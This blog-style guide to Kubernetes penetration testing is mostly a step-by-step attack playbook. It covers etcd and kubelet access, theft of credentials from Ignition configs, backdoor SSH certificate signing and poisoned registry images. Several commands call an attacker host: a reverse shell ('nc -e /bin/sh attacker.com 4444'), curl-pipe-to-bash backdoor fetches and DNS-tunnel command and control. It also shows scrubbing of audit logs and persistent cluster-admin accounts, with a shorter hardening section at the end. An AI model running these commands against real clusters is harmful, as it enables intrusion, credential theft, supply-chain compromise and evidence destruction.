Kubernetes Penetration Testing: Complete 2026 Guide

Kubernetes Penetration Testing: Complete 2026 Guide

Kubernetes Penetration Testing: Complete 2026 Guide

Updated on January 21, 2026


Introduction: The Modern Kubernetes Attack Surface (2026)

Kubernetes security has evolved dramatically since 2022. While traditional pentesting relied on open ports and default configurations, modern attacks now target:

  • Supply chain compromise through container registries
  • Ignition/cloud-init configurations exposed during bootstrap
  • Embedded service account tokens in recovery scripts
  • SSH certificate authority keys for authentication bypass
  • Privileged pod escape through mount namespace manipulation

This comprehensive guide covers both the foundational techniques and the 2026 attack patterns discovered through real-world penetration testing.

Kubernetes Penetration Testing: Complete Guide

Part 1: Reconnaissance - Mapping the Kubernetes Attack Surface

1.1 Network Scanning & Service Discovery

Before attempting any active exploitation, establish what Kubernetes services are running and accessible.

Target Ports & Services:

Port Service Priority Notes
6443 API Server CRITICAL Main control plane interface
2379-2380 etcd CRITICAL Cluster state & secrets database
10250 Kubelet API HIGH Node operations & pod exec
30000-32767 NodePorts HIGH Direct application access (Bypasses Ingress)
10255 Kubelet Read-Only MEDIUM Legacy read-only API (No Auth)
10259 Kube-Scheduler MEDIUM Scheduling decisions
10257 Kube-Controller-Manager MEDIUM Resource management
22623 Machine Config Server (MCS) HIGH NEW 2026: Node configurations, ignition configs
443 HTTPS Ingress MEDIUM Application entry points
2181 Zookeeper (if present) MEDIUM Distributed coordination

Scanning Commands:

# Network discovery
nmap -sV -p 2379,2380,6443,10250,10257,10259,22623,30000-32767 10.0.0.0/24

# Kubernetes-specific scanning
./kube-hunter --cidr 10.0.0.0/24 --active

# Version fingerprinting
curl -k https://10.10.10.10:6443/version
curl -k https://10.10.10.10:6443/healthz
curl -k https://10.10.10.10:6443/.well-known/openid-configuration

1.2 Machine Config Server (MCS) - NEW 2026 Attack Vector

The Machine Config Server (port 22623) serves Ignition configurations that bootstrap nodes. This is often world-accessible and contains critical secrets.

Reconnaissance:

# Enumerate MCS endpoint
curl -kL https://10.10.10.10:22623/config/master
curl -kL https://10.10.10.10:22623/config/worker

# Extract and parse Ignition config (JSON)
# The response contains base64-encoded Ignition data

# Look for common secret locations in response:
# - /var/lib/kubelet/config.json (registry credentials)
# - /etc/kubernetes/kubelet.conf (kubelet config)
# - /usr/local/bin/recover-kubeconfig.sh (JWT tokens)
# - /etc/ssh/ca.pub (SSH CA keys)

1.3 Kubernetes API Server Endpoint Discovery

During reconnaissance, discover internal vs. external API endpoints:

# From Ignition config or exposed env files:
# KUBERNETESSERVICEHOST=api-int.cluster-name.example.com
# KUBERNETESSERVICEPORT=6443

# This reveals internal API that may bypass external load balancers
# Useful for DDoS, rate-limit bypass, or direct targeting

nmap -p 6443 api-int.cluster-name.example.com

1.4 Etcd Direct Access (Critical)

If etcd is accessible without authentication, full cluster compromise is achieved.

# Download etcdctl if not available
wget https://github.com/etcd-io/etcd/releases/download/v3.5.0/etcd-v3.5.0-linux-amd64.tar.gz

# Connect to etcd
etcdctl --endpoints=http://10.10.10.10:2379 member list
etcdctl --endpoints=http://10.10.10.10:2379 get / --prefix --keys-only

# Extract all secrets (they're stored in etcd!)
etcdctl --endpoints=http://10.10.10.10:2379 get /registry/secrets/ --prefix

# Get cluster configuration
etcdctl --endpoints=http://10.10.10.10:2379 get /registry/clusterrolebindings/ --prefix

1.5 NodePort & Sidecar Enumeration

Attackers often overlook the NodePort range (30000-32767), which exposes internal services directly on the node's IP, bypassing Ingress protections. Additionally, legacy read-only ports and monitoring tools can leak cluster topology.

# NodePort Range Scanning (Detects apps exposed directly on nodes)
nmap -sV -p 30000-32767 10.10.10.10

# Kubelet Read-Only Port (10255) - Dumps full pod specs without auth
# (Rare in modern clusters but critical if present)
curl -s http://10.10.10.10:10255/pods | jq .items[].metadata.name

# Common Monitoring & Sidecar Ports
# 9090 (Prometheus), 3000 (Grafana), 10256 (Kube-proxy health)
nmap -p 9090,3000,10256 10.10.10.10

Part 2: Initial Access & Credential Extraction

2.1 Extracting Credentials from Ignition Configurations

[NEW 2026 TECHNIQUE] Ignition files exposed via MCS contain multiple credential types.

2.1.1 Container Registry Credentials

Many Kubernetes clusters use private registries (Artifactory, Quay, ECR). These credentials are stored in /var/lib/kubelet/config.json.

Extraction Process:

# Step 1: Download Ignition config from MCS
curl -kL https://10.10.10.10:22623/config/worker > ignition.json

# Step 2: Extract registry credentials section
jq '.storage.files[] | select(.path | contains("config.json")) | .contents' ignition.json

# Step 3: Find dockerconfigjson auth section
# Look for "auths" containing base64-encoded credentials

# Example structure in response:
# "auths": {
#   "registry.example.com": {
#     "auth": "dXNlcm5hbWU6cGFzc3dvcmQ="
#   }
# }

# Step 4: Decode base64
echo "dXNlcm5hbWU6cGFzc3dvcmQ=" | base64 -d
# Output: registry-user:registry-password

# Step 5: Authenticate to registry
docker login registry.example.com -u registry-user -p registry-password

# Step 6: Enumerate & pull images
docker search registry.example.com/
docker pull registry.example.com/internal/app:latest

Impact:

  • Access to proprietary container images
  • Source code extraction from image layers
  • Embedded secrets in container environments
  • Supply chain compromise capability

Tools for Image Analysis:

# Extract filesystem from image
docker save registry.example.com/internal/app:latest | tar xv

# Analyze image layers
skopeo inspect docker://registry.example.com/internal/app:latest

# Extract secrets from image metadata
docker run --rm -v /var/run/docker.sock:/var/run/docker.sock \
  aquasec/trivy image registry.example.com/internal/app:latest

2.1.2 Service Account Tokens from Recovery Scripts

Kubernetes clusters include recovery/troubleshooting scripts that contain service account tokens for cluster operations.

Token Extraction:

# Step 1: Extract recovery script from Ignition
jq '.storage.files[] | select(.path | contains("recover-kubeconfig")) | .contents' ignition.json

# Step 2: The script may contain:
# - Embedded JWT tokens
# - Certificate authority data
# - Service account information

# Example from typical recovery script:
# token=$(oc get secret -n openshift-machine-config-operator \
#   node-bootstrapper-token -o jsonpath='{.data.token}' | base64 --decode)

# Step 3: If token is directly embedded (sometimes found in older configs):
TOKEN="eyJhbGciOiJSUzI1NiIsImtpZCI6IjEyMzQ1In0.eyJleHAiOjE3MzA0ODAwMDAsImlhdCI6MTczMDA0ODAwMH0..."

# Step 4: Validate token against API server
curl -k -H "Authorization: Bearer $TOKEN" \
  https://10.10.10.10:6443/api/v1/namespaces

Token Capabilities Assessment:

# Decode JWT payload (without verification)
echo $TOKEN | cut -d'.' -f2 | base64 -d | jq .

# Output typically contains:
# {
#   "iss": "kubernetes/serviceaccount",
#   "kubernetes.io/serviceaccount/namespace": "openshift-machine-config-operator",
#   "kubernetes.io/serviceaccount/secret.name": "node-bootstrapper-token",
#   "kubernetes.io/serviceaccount/service-account.name": "node-bootstrapper",
#   "sub": "system:serviceaccount:openshift-machine-config-operator:node-bootstrapper"
# }

# Key insight: The service account identity determines permissions
# Look for privileged service accounts:
# - system:node:* (node operations)
# - system:masters (cluster admin)
# - system:ovn-node:* (network operations)

2.1.3 SSH Certificate Authority Keys

[NEW 2026 TECHNIQUE] SSH CA public keys are often embedded in node configurations, enabling authentication bypass if private key is compromised.

Extraction:

# Step 1: Extract SSH CA key from Ignition
jq '.storage.files[] | select(.path | contains("ca.pub")) | .contents' ignition.json

# Step 2: Decode if base64-encoded
# Response typically: ssh-rsa AAAAB3NzaC1yc2E... (CA public key)

# Step 3: Identify SSH principal configuration
jq '.storage.files[] | select(.path | contains("auth_principals")) | .contents' ignition.json

# Step 4: Find sshd configuration changes
jq '.storage.files[] | select(.path | contains("sshd_config")) | .contents' ignition.json

# Look for:
# TrustedUserCAKeys /etc/ssh/ca.pub
# AuthorizedPrincipalsFile /etc/ssh/auth_principals/%u

Exploitation (if CA private key is obtained):

# With CA private key (from separate compromise):

# Step 1: Create malicious SSH key pair
ssh-keygen -t rsa -f /tmp/backdoor_key -N ""

# Step 2: Sign certificate for root user with 1-year validity
ssh-keygen -s /tmp/ca_private_key \
  -I "system-admin" \
  -n "root,ubuntu,admin" \
  -V "-1d:+365d" \
  /tmp/backdoor_key.pub

# Step 3: SSH to any cluster node
ssh -i /tmp/backdoor_key root@master1.cluster.example.com
ssh -i /tmp/backdoor_key root@worker1.cluster.example.com
ssh -i /tmp/backdoor_key root@worker99.cluster.example.com  # Works on ALL nodes!

# Step 4: Node compromise achieved - install persistence
# - Add backdoor users
# - Modify kubelet configuration
# - Access kubelet's TLS keys
# - Compromise container images pulled by node

Part 3: Cluster Enumeration & Permission Mapping

3.1 API Server Enumeration with Extracted Tokens

Once you have a valid JWT token, enumerate cluster structure and permissions.

Basic Enumeration:

export TOKEN="<extracted-jwt-token>"
export API="https://10.10.10.10:6443"

# List all nodes
curl -k -H "Authorization: Bearer $TOKEN" \
  $API/api/v1/nodes | jq '.items[].metadata.name'

# List all namespaces
curl -k -H "Authorization: Bearer $TOKEN" \
  $API/api/v1/namespaces | jq '.items[].metadata.name'

# List running pods across all namespaces
curl -k -H "Authorization: Bearer $TOKEN" \
  $API/api/v1/pods | jq '.items[] | {name: .metadata.name, namespace: .metadata.namespace, image: .spec.containers[0].image}'

# Identify privileged pods
curl -k -H "Authorization: Bearer $TOKEN" \
  $API/api/v1/pods | jq '.items[] | select(.spec.securityContext.privileged==true)'

3.2 Permission Enumeration (RBAC Analysis)

Determine what your token can actually do:

# Test create capabilities
curl -k -X POST -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  $API/api/v1/namespaces/default/pods \
  -d '{"apiVersion":"v1","kind":"Pod","metadata":{"name":"test"}}'

# Test get/list capabilities
curl -k -H "Authorization: Bearer $TOKEN" \
  $API/api/v1/namespaces/default/pods

# Use kubectl if available
kubectl --token=$TOKEN --insecure-skip-tls-verify=true get pods -n default
kubectl --token=$TOKEN --insecure-skip-tls-verify=true auth can-i create pods --namespace default
kubectl --token=$TOKEN --insecure-skip-tls-verify=true auth can-i get secrets --all-namespaces

3.3 Kubelet API Enumeration

The Kubelet API on port 10250 often allows anonymous or token-based access.

# List pods on specific node
curl -kL https://10.10.10.10:10250/pods

# List container logs
curl -kL https://10.10.10.10:10250/logs

# Check kubelet metrics
curl -kL https://10.10.10.10:10250/metrics

# Execute commands in pods (if allowed)
curl -skv -X POST \
  -H "X-Stream-Protocol-Version: v2.channel.k8s.io" \
  https://10.10.10.10:10250/exec/<namespace>/<pod>/<container>?command=id&input=1&output=1&tty=1

Part 4: Privilege Escalation Techniques

4.1 Certificate Signing Request (CSR) Abuse

[NEW 2026 TECHNIQUE] Service account tokens can sometimes request node certificates via CSR API, though auto-approval may fail due to identity mismatch.

CSR Attack Scenario:

# Step 1: Create CSR manifest
cat > node-csr.yaml <<EOF
apiVersion: certificates.k8s.io/v1
kind: CertificateSigningRequest
metadata:
  name: new-node-cert
spec:
  request: $(openssl req -new -key /tmp/node.key -subj "/CN=system:node:attacker-node" | base64 -w0)
  signerName: kubernetes.io/kubelet-serving
  usages:
    - digital signature
    - key encipherment
    - server auth
EOF

# Step 2: Submit CSR using token
curl -k -X POST -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  $API/apis/certificates.k8s.io/v1/certificatesigningrequests \
  --data-binary @node-csr.json

# Step 3: Monitor for approval
# Note: Auto-approval may fail if account identity doesn't match 
# system:node:* or system:ovn-node:* pattern
# However, CSR creation itself can:
# - Generate audit logs for detection evasion analysis
# - Trigger alerting systems
# - Consume API rate limits

4.2 Privileged Pod Exploitation

Privileged pods with mounted host filesystems are critical escalation paths.

Identification:

# Find privileged pods
curl -k -H "Authorization: Bearer $TOKEN" \
  $API/api/v1/pods | jq '.items[] | select(.spec.securityContext.privileged==true) | {name: .metadata.name, namespace: .metadata.namespace}'

# Find pods with host filesystem mount
curl -k -H "Authorization: Bearer $TOKEN" \
  $API/api/v1/pods | jq '.items[] | select(.spec.volumes[]?.hostPath!=null)'

# Find pods with dangerous volume mounts
curl -k -H "Authorization: Bearer $TOKEN" \
  $API/api/v1/pods | jq '.items[] | select(.spec.volumes[]?.hostPath.path=="/var/lib/kubelet")'

Exploitation (Post-Container-Compromise):

# If you compromise a privileged pod container, access host:

# Step 1: Escape container and access host filesystem
# The pod mounts host at /var/lib/kubelet (example)

# Step 2: Read kubelet's private key
cat /var/lib/kubelet/pki/kubelet-server-current.pem

# Step 3: Impersonate kubelet to API server
# Use kubelet cert to make authenticated requests

# Step 4: Modify node kubelet configuration
vi /var/lib/kubelet/kubeconfig.conf

# Step 5: Read all node secrets and configurations
cat /etc/kubernetes/kubelet.conf
ls -la /var/lib/kubelet/

# Step 6: Install persistence
# Add backdoor systemd units
# Modify cgroup hierarchy
# Inject malicious CNI plugins

4.3 Container Registry Credential Exploitation

[NEW 2026 TECHNIQUE] Pull and analyze container images containing embedded secrets.

# Step 1: Use extracted registry credentials to pull images
docker login registry.example.com -u app-user -p app-password

# Step 2: Analyze image layers for secrets
docker inspect registry.example.com/internal/api-service:latest

# Step 3: Look for embedded environment variables
docker run --rm registry.example.com/internal/api-service:latest env | grep -i secret

# Step 4: Extract image filesystem
docker save registry.example.com/internal/api-service:latest | tar xv

# Step 5: Search for secrets in extracted files
find . -type f -name "*.conf" -o -name "*.env" -o -name "config.json" | xargs grep -l "password\|secret\|key\|token"

# Step 6: Analyze application code for hardcoded credentials
strings ./app-binary | grep -E "password|secret|bearer" | head -20

# Step 7: Extract database credentials from app config
grep -r "DATABASE_URL\|DB_PASS\|MONGODB_URI" ./

Part 5: Lateral Movement & Supply Chain Attacks

5.1 Node-to-Node Lateral Movement via SSH

Once you have SSH access to one node (via SSH cert or compromised kubelet), move laterally.

# From compromised node:

# Step 1: Enumerate other nodes
kubectl get nodes -o wide

# Step 2: Add your SSH public key to other nodes
# If SSH CA is compromised, sign certs for each node

for node in node1 node2 node3; do
  ssh-keygen -s /tmp/ca_private_key \
    -I "lateral-$node" \
    -n "root" \
    -V "-1d:+365d" \
    /tmp/backdoor_key.pub
    
  ssh -i /tmp/backdoor_key root@$node.cluster.example.com \
    "echo $BACKDOOR_PUBKEY >> /root/.ssh/authorized_keys"
done

# Step 3: Access kubelet on each node
ssh -i /tmp/backdoor_key root@worker1.cluster.example.com
curl localhost:10250/pods

# Step 4: Extract kubelet credentials from each node
cat /var/lib/kubelet/kubeconfig
cat /etc/kubernetes/kubelet.conf

5.2 Pod-to-Pod Lateral Movement via Network Policies (or Lack Thereof)

If network policies aren't enforced, move between pods.

# From compromised pod:

# Step 1: Scan network
for ip in 10.0.0.{1..254}; do
  timeout 1 bash -c "</dev/tcp/$ip/443" 2>/dev/null && echo $ip is up
done

# Step 2: Identify Kubernetes services
nslookup kubernetes.default.svc.cluster.local
nslookup *.default.svc.cluster.local

# Step 3: Target API server from pod
curl -k -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" \
  https://kubernetes.default.svc.cluster.local/api/v1/pods

# Step 4: Breach database pod
# Identify database services
nslookup postgres.database.svc.cluster.local
psql -h postgres.database.svc.cluster.local -U postgres -d app_db

# Step 5: Identify and access secrets
curl -k -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" \
  https://kubernetes.default.svc.cluster.local/api/v1/namespaces/database/secrets

5.3 Supply Chain Compromise via Artifactory/Registry

Once you have registry credentials, inject malicious images.

# Step 1: Build malicious image
cat > Dockerfile <<EOF
FROM registry.example.com/internal/base-app:latest
RUN apt-get update && apt-get install -y curl
RUN curl http://attacker.com/backdoor.sh | bash
EOF

docker build -t registry.example.com/internal/api-service:compromised .

# Step 2: Push to registry (if permissions allow)
docker login registry.example.com -u registry-user -p registry-password
docker push registry.example.com/internal/api-service:compromised

# Step 3: Wait for deployment rollout
# Every time cluster deploys api-service, it pulls malicious image

# Step 4: Establish backdoor in every pod instance
# Persistence across entire cluster achieved

5.4 Machine Config Server (MCS) Poisoning

[NEW 2026 TECHNIQUE] If MCS is compromised or misconfigured, inject malicious node configurations.

# Step 1: Identify MCS endpoint
# From reconnaissance: api-int.cluster.example.com:22623

# Step 2: Serve malicious Ignition config
# MCS serves configurations, if accessible for modification:

# Step 3: Inject commands into system unit files
# Example malicious unit in Ignition response:

cat > malicious-ignition.json <<EOF
{
  "systemd": {
    "units": [
      {
        "name": "backdoor.service",
        "enabled": true,
        "contents": "[Unit]\\nAfter=network.service\\n[Service]\\nType=oneshot\\nExecStart=/bin/bash -c 'curl http://attacker.com/stage2.sh | bash'\\n[Install]\\nWantedBy=multi-user.target"
      }
    ]
  }
}
EOF

# Step 4: Every new node pulled from MCS would execute backdoor

Part 6: Post-Exploitation & Persistence

6.1 Kubelet Private Key Extraction & Impersonation

Once you have node access via SSH or privileged pod:

# Step 1: Extract kubelet client certificate
cat /var/lib/kubelet/pki/kubelet-client-current.pem

# Step 2: Extract kubelet client key
cat /var/lib/kubelet/pki/kubelet-client-current-key.pem

# Step 3: Extract CA certificate
cat /etc/kubernetes/ca.crt

# Step 4: Make authenticated requests as kubelet
curl -k \
  --cert /var/lib/kubelet/pki/kubelet-client-current.pem \
  --key /var/lib/kubelet/pki/kubelet-client-current-key.pem \
  --cacert /etc/kubernetes/ca.crt \
  https://api-int.cluster.example.com:6443/api/v1/nodes/$(hostname)

# Step 5: Impersonate kubelet in API requests
# Kubelet has permission to modify its own node status
# Can drain node, add taints, modify labels

# Step 6: Create backdoor pods on this node
# Kubelet accepts pod manifests from /etc/kubernetes/manifests
cat > /etc/kubernetes/manifests/backdoor-pod.yaml <<EOF
apiVersion: v1
kind: Pod
metadata:
  name: persistent-shell
  namespace: kube-system
spec:
  hostNetwork: true
  hostPID: true
  serviceAccountName: default
  containers:
  - name: shell
    image: alpine
    command: ["/bin/sh", "-c", "while true; do nc -e /bin/sh attacker.com 4444; sleep 3600; done"]
    securityContext:
      privileged: true
EOF

6.2 API Server Token Persistence

Create long-lived service accounts for persistence:

# Step 1: Create service account in hidden namespace
kubectl create namespace persistence-ns
kubectl create serviceaccount attacker -n persistence-ns

# Step 2: Create ClusterRoleBinding for full cluster access
cat > persistence-binding.yaml <<EOF
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: attacker-admin
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: ClusterRole
  name: cluster-admin
subjects:
- kind: ServiceAccount
  name: attacker
  namespace: persistence-ns
EOF

kubectl apply -f persistence-binding.yaml

# Step 3: Extract token for long-term use
kubectl get secret $(kubectl get secret -n persistence-ns | grep attacker-token | awk '{print $1}') \
  -n persistence-ns -o jsonpath='{.data.token}' | base64 -d

# Step 4: Token persists even if original access method is revoked

6.3 Etcd Snapshot Backdoor

If you have etcd access, create snapshots with backdoor data:

# Step 1: Take etcd snapshot
etcdctl --endpoints=https://10.10.10.10:2379 \
  --cert=/var/lib/etcd/server.crt \
  --key=/var/lib/etcd/server.key \
  snapshot save /tmp/etcd-backup.db

# Step 2: Modify snapshot to include backdoor service account
# This is advanced but possible with etcd tools

# Step 3: Restore modified snapshot on recovery
# When cluster is rebuilt from snapshot, backdoor is present

Part 7: Detection Evasion & Stealth

7.1 API Audit Log Evasion

Kubernetes logs API requests. Minimize footprint:

# Step 1: Identify audit log location
# Typically in /var/log/audit/kube-apiserver-audit.log

# Step 2: Once root on node, sanitize logs
grep -v "attacker\|backdoor\|malicious" /var/log/audit/kube-apiserver-audit.log > /tmp/cleaned.log
cp /tmp/cleaned.log /var/log/audit/kube-apiserver-audit.log

# Step 3: Use legitimate APIs that blend in
# E.g., query pods (normal operation) instead of creating resources

# Step 4: Time operations during peak usage
# Your requests blend with legitimate traffic

7.2 Network Policy Evasion

If network policies exist, route through legitimate pods:

# Step 1: Identify allowed egress from compromised pod
kubectl describe networkpolicies -n production

# Step 2: If certain pods have external egress, compromise those
# Then use them as proxy for C2

# Step 3: Use DNS tunneling to avoid HTTP/HTTPS blocking
# DNS queries often allowed

nslookup c2-command.attacker.com
# Response encoded in DNS answer

7.3 Image Pull Secret Manipulation

Hide backdoor image pulls:

# Step 1: Inject attacker's registry credentials into cluster
kubectl create secret docker-registry attacker-registry \
  --docker-server=private.attacker.com \
  --docker-username=attacker \
  --docker-password=password \
  -n kube-system

# Step 2: Reference in pod specs
# Pods pull backdoor images from attacker's registry instead of public registries

# Step 3: Difficult to detect without registry access

Part 8: Remediation & Defense

8.1 Immediate Actions

# 1. Rotate all exposed credentials
# - Artifactory credentials
# - Service account tokens
# - SSH keys

# 2. Revoke compromised certificates
kubectl delete certificatesigningrequest <csr-name>

# 3. Block Machine Config Server access
# - Restrict port 22623 to authorized clients only
# - Implement mutual TLS

# 4. Audit Ignition configurations
# - Remove hardcoded secrets
# - Use sealed-secrets or external-secrets operator

# 5. Review SSH configuration
# - Invalidate exposed CA keys
# - Implement key rotation

8.2 Short-Term Hardening

# 1. Implement Pod Security Standards
kubectl label namespace default \
  pod-security.kubernetes.io/enforce=restricted

# 2. Enable network policies
cat > deny-all.yaml <<EOF
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: default-deny
spec:
  podSelector: {}
  policyTypes:
  - Ingress
  - Egress
EOF

# 3. Implement RBAC restrictions
# Remove cluster-admin from unnecessary accounts
kubectl delete clusterrolebinding <name>

# 4. Enable image signature verification
# Implement Sigstore, Notary, or registry native signing

# 5. Audit container registries
# Review image pull logs for unauthorized images

8.3 Long-Term Strategic Improvements

# 1. Secrets management integration
# - Use Hashicorp Vault
# - AWS Secrets Manager integration
# - Sealed Secrets for Kubernetes

# 2. Configuration scanning in CI/CD
# - Scan Ignition configs for secrets
# - Implement OPA/Kyverno policies
# - Prevent MCS server exposure

# 3. Kubelet hardening
# - Disable anonymous authentication
# - Implement kubeconfig authentication only
# - Use webhook authorization

# 4. Audit logging
# - Enable comprehensive API audit logging
# - Ship logs to SIEM (Splunk, ELK, etc.)
# - Set alerts for privilege escalation attempts

# 5. Regular penetration testing
# - Conduct annual K8s pentest
# - Test MCS endpoint security
# - Validate secret rotation

# 6. Supply chain security
# - Implement image signing
# - Use admission controllers (OPA, Kyverno)
# - Scan images for vulnerabilities (Trivy, Snyk)

Key Takeaways: The 2026 Kubernetes Attack Landscape

  • Machine Config Server is a Critical Attack Vector - Often overlooked, MCS exposes bootstrap configurations containing multiple credential types
  • Ignition Configurations Contain Multiple Secret Types - Not just API tokens, but registry credentials, SSH keys, and recovery scripts
  • Supply Chain is Increasingly Targeted - Container registry credentials enable sophisticated multi-stage attacks
  • Lateral Movement is Straightforward - SSH CA key exposure enables node-to-node movement; network policies rarely enforced
  • Privilege Escalation Chains Exist - Token enumeration → privileged pod discovery → kubelet key extraction → full node compromise
  • Detection is Feasible - API audit logs, image pull logs, and network policies provide multiple detection opportunities

Tools & Resources

Kubernetes Penetration Testing Tools:

  • kube-hunter (automated discovery)
  • kubectl (primary interaction tool)
  • etcdctl (direct etcd access)
  • skopeo/docker (image analysis)
  • kubeseal (secret encryption)

For a comprehensive list of tools, explore our cheatsheet on Active Directory - Lateral Movement 


Conclusion

Kubernetes penetration testing has evolved significantly. Modern attacks target not just runtime Kubernetes, but the entire bootstrap and supply chain infrastructure. Organizations must implement defense-in-depth covering:

  • Bootstrap security (MCS hardening, Ignition scanning)
  • Secrets management (external vault, sealed secrets)
  • Network segmentation (network policies, service mesh)
  • Supply chain (image signing, registry security)
  • Runtime monitoring (audit logs, runtime security agents)

This comprehensive guide provides both offensive and defensive perspectives for security professionals. Use these techniques ethically in authorized penetration testing engagements.


Appendix: Quick Reference Checklists

Penetration Testing Checklist

  • Scan all Kubernetes ports (6443, 2379, 10250, 22623)
  • Download and analyze Ignition configs from MCS
  • Extract registry credentials from ignition
  • Attempt token extraction from recovery scripts
  • Test token against API server
  • Enumerate nodes, namespaces, pods
  • Identify privileged pods
  • Analyze SSH configuration
  • Test CSR submission
  • Attempt pod exec
  • Check etcd accessibility
  • Test container registry access with extracted creds
  • Analyze container images for embedded secrets
  • Perform lateral movement testing
  • Document all findings with proof-of-concept code

Blue Team Hardening Checklist

  • Implement MCS access controls
  • Rotate all exposed credentials
  • Enable pod security standards
  • Implement network policies
  • Audit and restrict RBAC
  • Encrypt secrets at rest
  • Enable API audit logging
  • Implement image signature verification
  • Use external secrets manager
  • Regular vulnerability scanning
  • Runtime security monitoring (Falco)
  • Regular penetration testing
  • Incident response plan
  • Supply chain security program

This article covers authorized penetration testing only. Unauthorized access to computer systems is illegal. Always obtain written authorization before testing.

For more insights, refer to the Official Kubernetes Documentation and the MITRE ATT&CK for Cloud matrix.

Enjoyed this guide? Share your thoughts below and tell us how you leverage Kubernetes Penetration Testing in your projects!

Kubernetes Penetration Testing, Cloud Security, DevSecOps, Ethical Hacking, Container Security, MCS Exploitation

Bhanu Namikaze

Bhanu Namikaze is an Penetration Tester, Red Teamer, Ethical Hacker, Blogger, Web Developer and a Mechanical Engineer. He Enjoys writing articles, Blogging, Debugging Errors and CTFs. Enjoy Learning; There is Nothing Like Absolute Defeat - Try and try until you Succeed.

No comments:

Post a Comment